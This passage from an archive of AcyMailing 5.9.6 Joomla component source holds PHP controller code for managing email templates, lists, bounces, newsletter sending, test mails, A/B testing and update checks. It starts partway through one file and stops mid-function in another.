	var $aclCat = 'templates';

	function load(){
		$class = acymailing_get('class.template');
		$tempid = acymailing_getVar('int', 'tempid');
		if(empty($tempid)) exit;
		$template = $class->get($tempid);

		header("Content-type: text/css");
		echo $class->buildCSS($template->styles, $template->stylesheet);
		exit;
	}

	function applyareas(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;

		$class = acymailing_get('class.template');
		$tempid = acymailing_getVar('int', 'tempid');
		if(empty($tempid)) exit;
		$template = $class->get($tempid);
		$class->applyAreas($template->body);
		$class->save($template);

		$class->createTemplateFile($tempid);

		acymailing_enqueueMessage(acymailing_translation('ACYEDITOR_ADDAREAS_DONE'));

		if(acymailing_isNoTemplate()){
			$js = "setTimeout('redirect()',2000); function redirect(){window.top.location.href = '".acymailing_completeLink('template')."'; }";
			acymailing_addScript(true, $js);
		}else{
			return $this->listing();
		}
	}

	function remove(){
		if(!$this->isAllowed($this->aclCat, 'delete')) return;
		acymailing_checkToken();
		acymailing_isAdmin() or die('Only from the back-end');

		$cids = acymailing_getVar('array', 'cid', array(), '');

		$class = acymailing_get('class.template');
		$num = $class->delete($cids);

		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $num), 'message');

		return $this->listing();
	}

	function copy(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$cids = acymailing_getVar('array', 'cid', array(), '');
		$time = time();

		acymailing_arrayToInteger($cids);

		$query = 'INSERT IGNORE INTO `#__acymailing_template` (`name`, `description`, `body`, `altbody`, `created`, `published`, `premium`, `ordering`, `namekey`, `styles`, `subject`,`stylesheet`,`fromname`,`fromemail`,`replyname`,`replyemail`,`thumb`,`readmore`,`category`)';
		$query .= " SELECT CONCAT('copy_',`name`), `description`, `body`, `altbody`, $time, `published`, 0, `ordering`, CONCAT('$time',`tempid`,`namekey`), `styles`, `subject`,`stylesheet`,`fromname`,`fromemail`,`replyname`,`replyemail`,`thumb`,`readmore`,`category` FROM `#__acymailing_template` WHERE `tempid` IN (".implode(',', $cids).')';
		acymailing_query($query);

		$orderClass = acymailing_get('helper.order');
		$orderClass->pkey = 'tempid';
		$orderClass->table = 'template';
		$orderClass->reOrder();

		return $this->listing();
	}

	function store(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		acymailing_isAdmin() or die('Only from the back-end');

		$templateClass = acymailing_get('class.template');
		$status = $templateClass->saveForm();
		if($status){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'message');
			$templateClass->proposeApplyAreas(acymailing_getVar('int', 'tempid'));
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
			if(!empty($templateClass->errors)){
				foreach($templateClass->errors as $oneError){
					acymailing_enqueueMessage($oneError, 'error');
				}
			}
		}
	}

	function theme(){
		if(!$this->isAllowed($this->aclCat, 'view')) return;
		acymailing_setVar('layout', 'theme');
		return parent::display();
	}

	function upload(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_setVar('layout', 'upload');
		return parent::display();
	}

	function doupload(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$templateClass = acymailing_get('class.template');
		$statusUpload = $templateClass->doupload();

		if($statusUpload){
			if(!$templateClass->proposedAreas){
				acymailing_setNoTemplate(false);
				$js = "setTimeout('redirect()',2000); function redirect(){window.top.location.href = '".acymailing_completeLink('template', false, true)."'; }";
				acymailing_addScript(true, $js);
			}
			return;
		}else{
			return $this->upload();
		}
	}

	function export(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$cids = acymailing_getVar('array', 'cid', array(), '');

		acymailing_arrayToInteger($cids);
		$templateClass = acymailing_get('class.template');
		$resExport = $templateClass->export($cids[0]);

		if(!empty($resExport)) acymailing_enqueueMessage(acymailing_translation_sprintf('ACYTEMPLATE_EXPORTED', '<a href="'.$resExport.'">', '</a>'), 'success');
		return $this->listing();
	}

	function test(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		$this->store();

		$tempid = acymailing_getCID('tempid');
		$test_selection = acymailing_getVar('string', 'test_selection', '', '');
		if(empty($tempid) OR empty($test_selection)) return;

		$mailer = acymailing_get('helper.mailer');
		$mailer->report = true;
		$config = acymailing_config();
		$subscriberClass = acymailing_get('class.subscriber');
		$userHelper = acymailing_get('helper.user');
		acymailing_importPlugin('acymailing');

		$receivers = array();
		if($test_selection == 'users'){
			$receiverEntry = acymailing_getVar('string', 'test_emails', '', '');
			if(!empty($receiverEntry)){
				if(substr_count($receiverEntry, '@') > 1){
					$receivers = explode(',', trim(preg_replace('# +#', '', $receiverEntry)));
				}else{
					$receivers[] = trim($receiverEntry);
				}
			}
		}else{
			$gid = acymailing_getVar('int', 'test_group', '-1');
			if($gid == -1) return false;
			if(!ACYMAILING_J16){
				$receivers = acymailing_loadResultArray('SELECT '.$this->cmsUserVars->email.' AS email FROM '.acymailing_table($this->cmsUserVars->table, false).' WHERE gid = '.intval($gid));
			}else{
				$receivers = acymailing_loadResultArray('SELECT u.'.$this->cmsUserVars->email.' AS email FROM '.acymailing_table($this->cmsUserVars->table, false).' AS u JOIN '.acymailing_table('user_usergroup_map', false).' AS ugm ON u.'.$this->cmsUserVars->id.' = ugm.user_id WHERE ugm.group_id = '.intval($gid));
			}
		}

		if(empty($receivers)){
			acymailing_enqueueMessage(acymailing_translation('NO_SUBSCRIBER'), 'notice');
			return $this->edit();
		}

		$classTemplate = acymailing_get('class.template');
		$myTemplate = $classTemplate->get($tempid);
		$myTemplate->sendHTML = 1;
		$myTemplate->mailid = 0;
		$myTemplate->template = $myTemplate;
		if(empty($myTemplate->subject)) $myTemplate->subject = $myTemplate->name;
		if(empty($myTemplate->altBody)) $myTemplate->altbody = $mailer->textVersion($myTemplate->body);
		acymailing_trigger('acymailing_replacetags', array(&$myTemplate, true));

		$myTemplate->body = acymailing_absoluteURL($myTemplate->body);

		$result = true;
		foreach($receivers as $receiveremail){
			$copy = $myTemplate;
			$mailer->clearAll();
			$mailer->setFrom($copy->fromemail, $copy->fromname);
			if(!empty($copy->replyemail)){
				$replyToName = $config->get('add_names', true) ? $mailer->cleanText($copy->replyname) : '';
				$mailer->AddReplyTo($mailer->cleanText($copy->replyemail), $replyToName);
			}

			$receiver = $subscriberClass->get($receiveremail);
			if(empty($receiver->subid)){
				if($userHelper->validEmail($receiveremail)){
					$newUser = new stdClass();
					$newUser->email = $receiveremail;
					$subscriberClass->sendConf = false;
					$subid = $subscriberClass->save($newUser);
					$receiver = $subscriberClass->get($subid);
				}
				if(empty($receiver->subid)) continue;
			}

			$addedName = $config->get('add_names', true) ? $mailer->cleanText($receiver->name) : '';
			$mailer->AddAddress($mailer->cleanText($receiver->email), $addedName);

			acymailing_trigger('acymailing_replaceusertags', array(&$copy, &$receiver, true));
			$mailer->isHTML(true);
			$mailer->Body = $copy->body;
			$mailer->Subject = $copy->subject;
			if($config->get('multiple_part', false)){
				$mailer->AltBody = $copy->altbody;
			}

			$mailer->send();
		}

		return $this->edit();
	}
}
com_acymailing/controllers/chooselist.php000060400000000667152455305300014761 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ChooselistController extends acymailingController{

	function customfields(){
		acymailing_setVar( 'layout', 'customfields'  );
		return parent::display();
	}
}
com_acymailing/controllers/bounces.php000060400000002111152455305300014225 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class BouncesController extends acymailingController{
	var $pkey = 'ruleid';
	var $table = 'rules';
	var $groupMap = '';
	var $groupVal = '';

	function listing(){
		if(!acymailing_level(3)){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->setTitle(acymailing_translation('BOUNCE_HANDLING'), 'bounces');
			$acyToolbar->help('bounce');
			$acyToolbar->display();
			$config = acymailing_config();
			$level = $config->get('level');
			$url = ACYMAILING_HELPURL.'bounce-paidversion&utm_source=acymailing-'.$level.'&utm_medium=back-end&utm_content=bounces-display&utm_campaign=upgrade';
			$iFrame = "<iframe class='paidversion' frameborder='0' src='$url' width='100%' height='100%' scrolling='auto'></iframe>";
			echo $iFrame.'<div id="iframedoc"></div>';
			return;
		}

		return parent::listing();
	}

}
com_acymailing/controllers/list.php000060400000003213152455305300013546 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ListController extends acymailingController{

	var $pkey = 'listid';
	var $table = 'list';
	var $groupMap = 'type';
	var $groupVal = 'list';
	var $aclCat = 'lists';

	function store(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$listClass = acymailing_get('class.list');
		$status = $listClass->saveForm();
		if($status){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'message');
			if($listClass->newlist && acymailing_isAdmin()){
				$listid = acymailing_getVar('int', 'listid');
				acymailing_enqueueMessage('<a href="'.acymailing_completeLink('filter&listid='.$listid).'">'.acymailing_translation_sprintf('SUBSCRIBE_LIST').'</a>', 'message');
			}
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
			if(!empty($listClass->errors)){
				foreach($listClass->errors as $oneError){
					acymailing_enqueueMessage($oneError, 'error');
				}
			}
		}
	}

	function remove(){
		if(!$this->isAllowed($this->aclCat, 'delete')) return;

		acymailing_checkToken();

		$listIds = acymailing_getVar('array', 'cid', array(), '');

		$listClass = acymailing_get('class.list');
		$num = $listClass->delete($listIds);

		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $num), 'message');

		acymailing_setVar('layout', 'listing');
		return parent::display();
	}
}
com_acymailing/controllers/dashboard.php000060400000001317152455305300014525 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class DashboardController extends acymailingController{

	var $aclCat = 'dashboard';

	function __construct($config = array()){
		parent::__construct($config);

		$this->registerTask('listing', 'display');

		$this->registerDefaultTask('listing');
	}

	function display($cachable = false, $urlparams = false){
		if(!empty($this->aclCat) AND !$this->isAllowed($this->aclCat, 'manage')) return;
		return parent::display($cachable, $urlparams);
	}
}
com_acymailing/controllers/send.php000060400000011134152455305300013525 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class SendController extends acymailingController{

	function sendready(){
		if(!$this->isAllowed('newsletters', 'send')) return;
		acymailing_setVar('layout', 'sendconfirm');
		return parent::display();
	}

	function send(){
		if(!$this->isAllowed('newsletters', 'send')) return;
		acymailing_checkToken();

		acymailing_setNoTemplate();
		$mailid = acymailing_getCID('mailid');
		if(empty($mailid)) exit;

		$time = time();
		$queueClass = acymailing_get('class.queue');
		$queueClass->onlynew = acymailing_getVar('int', 'onlynew');
		$queueClass->mindelay = acymailing_getVar('int', 'mindelay');
		$totalSub = $queueClass->queue($mailid, $time);

		if(empty($totalSub)){
			acymailing_display(acymailing_translation('NO_RECEIVER'), 'warning');
			return;
		}

		$mailObject = new stdClass();
		$mailObject->senddate = $time;
		$mailObject->published = 1;
		$mailObject->mailid = $mailid;
		$mailObject->sentby = acymailing_currentUserId();
		acymailing_updateObject(acymailing_table('mail'), $mailObject, 'mailid');

		$config = acymailing_config();
		$queueType = $config->get('queue_type');
		if($queueType == 'onlyauto'){
			$messages = array();
			$messages[] = acymailing_translation_sprintf('ADDED_QUEUE', $totalSub);
			$messages[] = acymailing_translation('AUTOSEND_CONFIRMATION');
			acymailing_display($messages, 'success');
			return;
		}else{
			acymailing_setVar('totalsend', $totalSub);
			acymailing_redirect(acymailing_completeLink('send&task=continuesend&mailid='.$mailid.'&totalsend='.$totalSub, true, true));
			exit;
		}
	}

	function continuesend(){
		$config = acymailing_config();

		if(acymailing_level(1) && $config->get('queue_type') == 'onlyauto'){
			acymailing_setNoTemplate();
			acymailing_display(acymailing_translation('ACY_ONLYAUTOPROCESS'), 'warning');
			return;
		}


		$newcrontime = time() + 120;
		if($config->get('cron_next') < $newcrontime){
			$newValue = new stdClass();
			$newValue->cron_next = $newcrontime;
			$config->save($newValue);
		}

		$mailid = acymailing_getCID('mailid');

		$totalSend = acymailing_getVar('int', 'totalsend', 0, '');
		$alreadySent = acymailing_getVar('int', 'alreadysent', 0, '');

		$helperQueue = acymailing_get('helper.queue');
		$helperQueue->mailid = $mailid;
		$helperQueue->report = true;
		$helperQueue->total = $totalSend;
		$helperQueue->start = $alreadySent;
		$helperQueue->pause = $config->get('queue_pause');
		$helperQueue->process();

		acymailing_setNoTemplate();



	}


	function spamtest(){
		$mailid = acymailing_getVar('int', 'mailid');
		if(empty($mailid)) return;

		$config = acymailing_config();
		ob_start();
		$urlSite = trim(base64_encode(preg_replace('#https?://(www\.)?#i', '', ACYMAILING_LIVE)), '=/');
		$url = ACYMAILING_SPAMURL.'spamTestSystem&component=acymailing&level='.strtolower($config->get('level', 'starter')).'&urlsite='.$urlSite;
		$spamtestSystem = acymailing_fileGetContent($url, 30);

		$warnings = ob_get_clean();

		if(empty($spamtestSystem) || $spamtestSystem === false || !empty($warnings)){
			acymailing_display('Could not load your information from our server'.((!empty($warnings) && acymailing_isDebug()) ? $warnings : ''), 'error');
			return;
		}
		$decodedInformation = json_decode($spamtestSystem, true);
		if(!empty($decodedInformation['messages']) || !empty($decodedInformation['error'])){
			$msgError = (!empty($decodedInformation['messages'])) ? $decodedInformation['messages'].'<br />' : '';
			$msgError .= (!empty($decodedInformation['error'])) ? $decodedInformation['error'] : '';
			acymailing_display($msgError, 'error');
			return;
		}
		if(empty($decodedInformation['email'])){
			acymailing_display('Missing test mail address', 'error');
			return;
		}

		$receiver = new stdClass();
		$receiver->subid = 0;
		$receiver->email = $decodedInformation['email'];
		$receiver->name = $decodedInformation['name'];
		$receiver->html = 1;
		$receiver->confirmed = 1;
		$receiver->enabled = 1;

		$mailerHelper = acymailing_get('helper.mailer');
		$mailerHelper->checkConfirmField = false;
		$mailerHelper->checkEnabled = false;
		$mailerHelper->checkPublished = false;
		$mailerHelper->checkAccept = false;
		$mailerHelper->loadedToSend = true;
		$mailerHelper->report = false;

		if(!$mailerHelper->sendOne($mailid, $receiver)){
			acymailing_display($mailerHelper->reportMessage, 'error');
			return;
		}
		
		acymailing_redirect($decodedInformation['displayURL']);
		return;
	}
}
com_acymailing/controllers/update.php000060400000012632152455305300014062 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class UpdateController extends acymailingController{

	function __construct($config = array()){
		parent::__construct($config);
		$this->registerDefaultTask('update');
	}

	function listing(){
		return $this->update();
	}

	function install(){
		acymailing_increasePerf();

		$newConfig = new stdClass();
		$newConfig->installcomplete = 1;
		$config = acymailing_config();

		$updateHelper = acymailing_get('helper.update');

		if(!$config->save($newConfig)){
			$updateHelper->installTables();
			return;
		}

		$updateHelper->installLanguages();
		$updateHelper->initList();
		$updateHelper->installTemplates();
		$updateHelper->installNotifications();
		$updateHelper->installFields();
		$updateHelper->installMenu();
		$updateHelper->installExtensions();
		$updateHelper->installBounceRules();
		$updateHelper->fixDoubleExtension();
		$updateHelper->addUpdateSite();
		$updateHelper->fixMenu();

		if(ACYMAILING_J30) acymailing_moveFile(ACYMAILING_BACK.'acymailing_j3.xml', ACYMAILING_BACK.'acymailing.xml');

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->setTitle('AcyMailing', 'dashboard');
		$acyToolbar->display();

		$this->_iframe(ACYMAILING_UPDATEURL.'install&fromversion='.acymailing_getVar('cmd', 'fromversion').'&fromlevel='.acymailing_getVar('cmd', 'fromlevel'));
	}

	function update(){

		$config = acymailing_config();
		if(!acymailing_isAllowed($config->get('acl_config_manage', 'all'))){
			acymailing_display(acymailing_translation('ACY_NOTALLOWED'), 'error');
			return false;
		}

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->setTitle(acymailing_translation('UPDATE_ABOUT'), 'update');
		$acyToolbar->link(acymailing_completeLink('dashboard'), acymailing_translation('ACY_CLOSE'), 'cancel');
		$acyToolbar->display();

		return $this->_iframe(ACYMAILING_UPDATEURL.'update');
	}

	function _iframe($url){

		$config = acymailing_config();
		$url .= '&version='.$config->get('version').'&level='.$config->get('level').'&component=acymailing';
		?>
		<div id="acymailing_div">
			<iframe allowtransparency="true" scrolling="auto" height="700px" frameborder="0" width="100%" name="acymailing_frame" id="acymailing_frame" src="<?php echo $url; ?>">
			</iframe>
		</div>
	<?php
	}

	function checkForNewVersion(){

		$config = acymailing_config();
		ob_start();
		$url = ACYMAILING_UPDATEURL.'loadUserInformation&component=acymailing&level='.strtolower($config->get('level', 'starter'));
		$userInformation = acymailing_fileGetContent($url, 30);
		$warnings = ob_get_clean();
		$result = (!empty($warnings) && acymailing_isDebug()) ? $warnings : '';

		if(empty($userInformation) || $userInformation === false){
			echo json_encode(array('content' => '<br/><span style="color:#C10000;">Could not load your information from our server</span><br/>'.$result));
			exit;
		}

		$decodedInformation = json_decode($userInformation, true);

		$newConfig = new stdClass();

		$listPluginNeedToUpDate = array();

		if(!ACYMAILING_J16) {
			$query = "SELECT element, id, folder
					FROM `#__plugins` 
					WHERE `folder` = 'acymailing' OR `element` LIKE '%acymailing%' OR `name` LIKE '%acymailing%'";
		}else{
			$query = "SELECT element, folder, manifest_cache AS mc, extension_id AS id 
					FROM `#__extensions` 
					WHERE `state` <> -1 AND `type`= 'plugin' AND (`folder` = 'acymailing' OR `element` LIKE '%acymailing%' OR `name` LIKE '%acymailing%')";
		}

		$plugins = acymailing_loadObjectList($query);
		if(!empty($plugins)){
			foreach($plugins as $plugin){
				if(ACYMAILING_J16) {
					$manifest = json_decode($plugin->mc);
					if(empty($manifest->version)) $manifest = simplexml_load_file(JURI::root().'/plugins/'.$plugin->folder.'/'.$plugin->element.'/'.$plugin->element.'.xml');
				}else{
					$manifest = simplexml_load_file(JURI::root().'/plugins/'.$plugin->folder.'/'.$plugin->element.'.xml');
				}
				$actualVersion = (string)$manifest->version;

				$pluginOnServer = @simplexml_load_file(ACYMAILING_PLUGINURL.$plugin->element.'.xml');
				if(empty($pluginOnServer) || $actualVersion >= (string)$pluginOnServer->update[0]->version) continue;
				$listPluginNeedToUpDate[] = $plugin->id;
			}
		}

		$newConfig->pluginNeedUpdate = empty($listPluginNeedToUpDate) ? '' : json_encode($listPluginNeedToUpDate);

		$newConfig->latestversion = $decodedInformation['latestversion'];
		$newConfig->expirationdate = $decodedInformation['expiration'];
		$newConfig->lastlicensecheck = time();
		$config->save($newConfig);

		$menuHelper = acymailing_get('helper.acymenu');
		$myAcyArea = $menuHelper->myacymailingarea();

		echo json_encode(array('content' => $myAcyArea));
		exit;
	}

	function acysms(){
		$config = acymailing_config();
		if(!acymailing_isAllowed($config->get('acl_configuration_manage', 'all'))){
			acymailing_display(acymailing_translation('ACY_NOTALLOWED'), 'error');
			return false;
		}
		if(file_exists(ACYMAILING_ROOT.'components'.DS.'com_acysms')) {
			if(!JComponentHelper::isEnabled('com_acysms')){
				acymailing_query('UPDATE #__extensions SET `enabled` = 1 WHERE `element` = "com_acysms" AND `type` = "component"');
			}
			acymailing_redirect('index.php?option=com_acysms');
		}else{
			acymailing_setVar('layout', 'acysms');
			return parent::display();
		}
	}
}
com_acymailing/controllers/notification.php000060400000000612152455305300015261 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'controllers'.DS.'newsletter.php');

class NotificationController extends NewsletterController{

}
com_acymailing/controllers/newsletter.php000060400000023250152455305300014772 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class NewsletterController extends acymailingController{

	var $aclCat = 'newsletters';

	function replacetags(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		$this->store();
		return $this->edit();
	}

	function copy(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$cids = acymailing_getVar('array', 'cid', array(), '');
		$time = time();

		$creatorId = intval(acymailing_currentUserId());

		$addSendDate = '';
		if(!empty($this->copySendDate)) $addSendDate = ', `senddate`';

		foreach($cids as $oneMailid){
			$query = 'INSERT INTO `#__acymailing_mail` (`subject`, `body`, `altbody`, `published`'.$addSendDate.', `created`, `fromname`, `fromemail`, `replyname`, `replyemail`, `bccaddresses`, `type`, `visible`, `userid`, `alias`, `attach`, `html`, `tempid`, `key`, `frequency`, `params`,`filter`,`metakey`,`metadesc`)';
			$query .= " SELECT CONCAT('copy_',`subject`), `body`, `altbody`, 0".$addSendDate.", '.$time.', `fromname`, `fromemail`, `replyname`, `replyemail`, `bccaddresses`, `type`, `visible`, '.$creatorId.', `alias`, `attach`, `html`, `tempid`, ".acymailing_escapeDB(acymailing_generateKey(8)).', `frequency`, `params`,`filter`,`metakey`,`metadesc` FROM `#__acymailing_mail` WHERE `mailid` = '.(int)$oneMailid;
			acymailing_query($query);
			$newMailid = acymailing_insertID();
			acymailing_query('INSERT IGNORE INTO `#__acymailing_listmail` (`listid`,`mailid`) SELECT `listid`,'.$newMailid.' FROM `#__acymailing_listmail` WHERE `mailid` = '.(int)$oneMailid);
			acymailing_query('INSERT IGNORE INTO `#__acymailing_tagmail` (`tagid`,`mailid`) SELECT `tagid`,'.$newMailid.' FROM `#__acymailing_tagmail` WHERE `mailid` = '.(int)$oneMailid);
		}

		return $this->listing();
	}

	function store(){
			if(!$this->isAllowed($this->aclCat, 'manage')) return;
			acymailing_checkToken();
			header('X-XSS-Protection:0');

			$mailClass = acymailing_get('class.mail');
			$status = $mailClass->saveForm();
			if($status){
				acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'message');
			}else{
				acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
				if(!empty($mailClass->errors)){
					foreach($mailClass->errors as $oneError){
						acymailing_enqueueMessage($oneError, 'error');
					}
				}
			}
	}

	function unschedule(){
		if(!$this->isAllowed($this->aclCat, 'schedule')) return;
		acymailing_checkToken();
		$mailid = acymailing_getCID('mailid');

		if(empty($mailid)) die('Missing mail ID');
		$mail = new stdClass();
		$mail->mailid = $mailid;
		$mail->senddate = 0;
		$mail->published = 0;

		$mailClass = acymailing_get('class.mail');
		$mailClass->save($mail);

		acymailing_enqueueMessage(acymailing_translation('SUCC_UNSCHED'));

		return $this->preview();
	}

	function remove(){
		if(!$this->isAllowed($this->aclCat, 'delete')) return;
		acymailing_checkToken();

		$cids = acymailing_getVar('array', 'cid', array(), '');

		$class = acymailing_get('class.mail');
		$num = $class->delete($cids);

		acymailing_arrayToInteger($cids);
		acymailing_query('DELETE FROM `#__acymailing_listmail` WHERE `mailid` IN ('.implode(',', $cids).')');

		acymailing_enqueueMessage(acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $num), 'message');

		return $this->listing();
	}

	function savepreview(){
		$this->store();
		return $this->preview();
	}


	function saveastmpl(){
		$this->store();
		$mailclass = acymailing_get('class.mail');
		$mailclass->saveastmpl();
		return $this->edit();
	}

	function preview(){
		acymailing_setVar('layout', 'preview');
		return parent::display();
	}

	function sendtest(){
		$this->_sendtest();
		return $this->preview();
	}

	function _sendtest(){
		acymailing_checkToken();

		$mailid = acymailing_getCID('mailid');
		$test_selection = acymailing_getVar('string', 'test_selection', '', '');

		if(empty($mailid) OR empty($test_selection)) return false;

		$mailer = acymailing_get('helper.mailer');
		$mailer->forceVersion = acymailing_getVar('int', 'test_html', 1, '');
		$mailer->autoAddUser = true;
		if(acymailing_isAdmin()) $mailer->SMTPDebug = 1;
		$mailer->checkConfirmField = false;
		$comment = acymailing_getVar('string', 'commentTest', '');
		if(!empty($comment)) $mailer->introtext = '<div align="center" style="max-width:600px;margin:auto;margin-top:10px;margin-bottom:10px;padding:10px;border:1px solid #cccccc;background-color:#f6f6f6;color:#333333;">'.nl2br($comment).'</div>';

		$receivers = array();
		if($test_selection == 'users'){
			$receiverEntry = acymailing_getVar('string', 'test_emails', '', '');
			if(!empty($receiverEntry)){
				if(substr_count($receiverEntry, '@') > 1){
					$receivers = explode(',', trim(preg_replace('# +#', '', $receiverEntry)));
				}else{
					$receivers[] = trim($receiverEntry);
				}
			}
		}else{
			$gid = acymailing_getVar('int', 'test_group', '-1');
			if($gid == -1) return false;
			if(!ACYMAILING_J16){
				$receivers = acymailing_loadResultArray('SELECT '.$this->cmsUserVars->email.' AS email FROM '.acymailing_table($this->cmsUserVars->table, false).' WHERE gid = '.intval($gid));
			}else{
				$receivers = acymailing_loadResultArray('SELECT u.'.$this->cmsUserVars->email.' AS email FROM '.acymailing_table($this->cmsUserVars->table, false).' AS u JOIN '.acymailing_table('user_usergroup_map', false).' AS ugm ON u.'.$this->cmsUserVars->id.' = ugm.user_id WHERE ugm.group_id = '.intval($gid));
			}
		}

		if(empty($receivers)){
			acymailing_enqueueMessage(acymailing_translation('NO_SUBSCRIBER'), 'notice');
			return false;
		}

		$result = true;
		foreach($receivers as $receiver){
			$result = $mailer->sendOne($mailid, $receiver) && $result;
		}

		return $result;
	}

	function upload(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_setVar('layout', 'upload');
		return parent::display();
	}

	function abtesting(){
		acymailing_setVar('layout', 'abtesting');
		return parent::display();
	}

	function abtest(){
		$nbTotalReceivers = acymailing_getVar('int', 'nbTotalReceivers');
		$mailids = acymailing_getVar('string', 'mailid');
		$mailsArray = explode(',', $mailids);
		acymailing_arrayToInteger($mailsArray);


		$abTesting_prct = acymailing_getVar('int', 'abTesting_prct');
		$abTesting_delay = acymailing_getVar('int', 'abTesting_delay');
		$abTesting_action = acymailing_getVar('string', 'abTesting_action');

		if(empty($abTesting_prct)){
			acymailing_display(acymailing_translation('ABTESTING_NEEDVALUE'), 'warning');
			$this->abtesting();
			return;
		}

		$newAbTestDetail = array();
		$newAbTestDetail['mailids'] = implode(',', $mailsArray);
		$newAbTestDetail['prct'] = (!empty($abTesting_prct) ? $abTesting_prct : '');
		$newAbTestDetail['delay'] = (isset($abTesting_delay) && strlen($abTesting_delay) > 0 ? $abTesting_delay : '2');
		$newAbTestDetail['action'] = (!empty($abTesting_action) ? $abTesting_action : 'manual');
		$newAbTestDetail['time'] = time();
		$newAbTestDetail['status'] = 'inProgress';
		$mailClass = acymailing_get('class.mail');
		$nbReceiversTest = $mailClass->ab_test($newAbTestDetail, $mailsArray, $nbTotalReceivers);

		acymailing_enqueueMessage(acymailing_translation_sprintf('ABTESTING_SUCCESSADD', $nbReceiversTest), 'info');
		acymailing_setVar('validationStatus', 'abTestAdd');
		$this->abtesting();
	}

	function complete_abtest(){
		$mailid = acymailing_getVar('int', 'mailToSend');
		$mailClass = acymailing_get('class.mail');
		$newMailid = $mailClass->complete_abtest('manual', $mailid);

		$finalMail = $mailClass->get($newMailid);
		acymailing_enqueueMessage(acymailing_translation_sprintf('ABTESTING_FINALSEND', $finalMail->subject), 'info');
		acymailing_setVar('validationStatus', 'abTestFinalSend');
		$this->abtesting();
	}

	function douploadnewsletter(){
		if(!$this->isAllowed($this->aclCat, 'manage')) return;
		acymailing_checkToken();

		$templateClass = acymailing_get('class.template');
		$templateClass->checkAreas = false;
		$statusUpload = $templateClass->doupload();

		if($statusUpload){
			$mailClass = acymailing_get('class.mail');
			$mail = new stdClass();
			$newTemplate = $templateClass->get($templateClass->templateId);
			$mail->subject = $newTemplate->name;
			$mail->body = $newTemplate->body;
			$mail->tempid = $templateClass->templateId;

			$idMailCreated = $mailClass->save($mail);
			if($idMailCreated){
				acymailing_enqueueMessage(acymailing_translation('NEWSLETTER_INSTALLED'), 'success');
				acymailing_setNoTemplate(false);
				$js = "setTimeout('redirect()',2000); function redirect(){window.top.location.href = '".acymailing_completeLink('newsletter&task=edit&mailid='.$idMailCreated, false, true)."'; }";
				acymailing_addScript(true, $js);
				return;
			}else{
				acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
				return $this->upload();
			}
		}else{
